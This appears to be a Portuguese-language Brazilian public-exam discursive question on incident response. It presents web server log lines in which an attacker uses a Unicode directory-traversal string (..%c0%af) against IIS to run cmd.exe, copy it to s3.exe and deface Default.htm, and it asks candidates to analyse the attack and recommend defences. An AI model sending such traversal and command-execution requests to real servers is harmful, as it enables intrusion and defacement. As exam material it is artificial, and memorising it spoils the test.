- 120** Quando um servidor chega atrasado a determinado expediente por trinta minutos, ele perde a parcela proporcional de sua remuneração diária.

PROVA DISCURSIVA

- Nesta prova, faça o que se pede, usando o espaço para rascunho indicado no presente caderno. Em seguida, transcreva o texto para a **FOLHA DE TEXTO DEFINITIVO DA PROVA DISCURSIVA**, no local apropriado, pois **não serão avaliados fragmentos de texto escritos em locais indevidos**.
- Respeite o limite máximo de linhas disponibilizadas, pois qualquer fragmento de texto além desse limite será desconsiderado.
- Na **folha de texto definitivo**, identifique-se apenas no cabeçalho da primeira página, pois **não será avaliado** texto que tenha qualquer assinatura ou marca identificadora fora do local apropriado.

O administrador de uma rede recebeu um relato comunicando que sua página na Web foi alterada. Ele usou o navegador para acessar a página e confirmar o relato. Seu próximo passo foi verificar os *logs* do seu servidor *http*, cujas porções relevantes são exibidas abaixo.

1. host1.domain.org - - [DD/MMM/YYYY:04:28:41 -0200] "GET
IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+dir+c:\inetpub HTTP/1.1" 200 607
2. host1.domain.org - - [DD/MMM/YYYY:04:29:00 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+dir+c:\inetpub HTTP/1.1" 200 493
3. host1.domain.org - - [DD/MMM/YYYY:04:29:06 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+dir+c:\inetpub\wwwroot HTTP/1.1" 200 828
4. host2.domain.org - - [DD/MMM/YYYY:04:30:02 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+copy+c:\winnt\cmd.exe+c:\winnt\s3.exe HTTP/1.0" 502 259
5. host2.domain.org - - [DD/MMM/YYYY:04:32:29 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+copy+c:\winnt\cmd.exe+c:\winnt\cmd.exe HTTP/1.0" 502 259
6. host2.domain.org - - [DD/MMM/YYYY:04:33:36 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+copy+c:\winnt\cmd.exe+c:\winnt\system32\cmd.exe+c:\winnt\s3.exe HTTP/1.0" 502 242
7. host2.domain.org - - [DD/MMM/YYYY:04:34:11 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+echo+W33+waz+h3r3+th+Grup+WeW33+waz+h3r3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
8. host2.domain.org - - [DD/MMM/YYYY:04:34:28 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+echo+W33+waz+h3r3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
9. host2.domain.org - - [DD/MMM/YYYY:04:35:55 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/s3.exe?
c+echo+W33+waz+h3r3+ >c:\inetpub\wwwroot\Default.htm HTTP/1.0" 404 461
10. host2.domain.org - - [DD/MMM/YYYY:04:37:34 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+W
33+waz+h3r3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
11. host2.domain.org - - [DD/MMM/YYYY:04:40:09 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+W
33+waz+h3r3+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
12. host2.domain.org - - [DD/MMM/YYYY:04:40:30 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+W
33+waz+h3r3+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215
13. host2.domain.org - - [DD/MMM/YYYY:04:40:51 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/system32/cmd.exe?
c+dir+c: HTTP/1.1" 200 880
14. host2.domain.org - - [DD/MMM/YYYY:04:44:38 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winnt/s3.exe?/c+echo+W
33+waz+h3r3+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 200 215

Considerando as informações acima, redija um texto dissertativo que aborde, necessariamente, os seguintes aspectos.

- ▶ Caracterização do incidente: Que tipo de ataque ocorreu? Qual foi a vulnerabilidade explorada? O que o administrador viu na página? Justifique suas respostas citando a linha correspondente do *log*.
- ▶ Descrição da dinâmica do incidente: Quantos *hosts* participaram? O ataque foi automatizado ou realizado por humanos? Houve tentativas exploratórias? Com ou sem sucesso? Justifique suas respostas citando a linha correspondente do *log*.
- ▶ Recomendações finais: o que o administrador pode fazer para evitar esse ataque?

1	
2	
3	
4	
5	
6	
7	
8	
9	
10	
11	
12	
13	
14	
15	
16	
17	
18	
19	
20	
21	
22	
23	
24	
25	
26	
27	
28	
29	
30	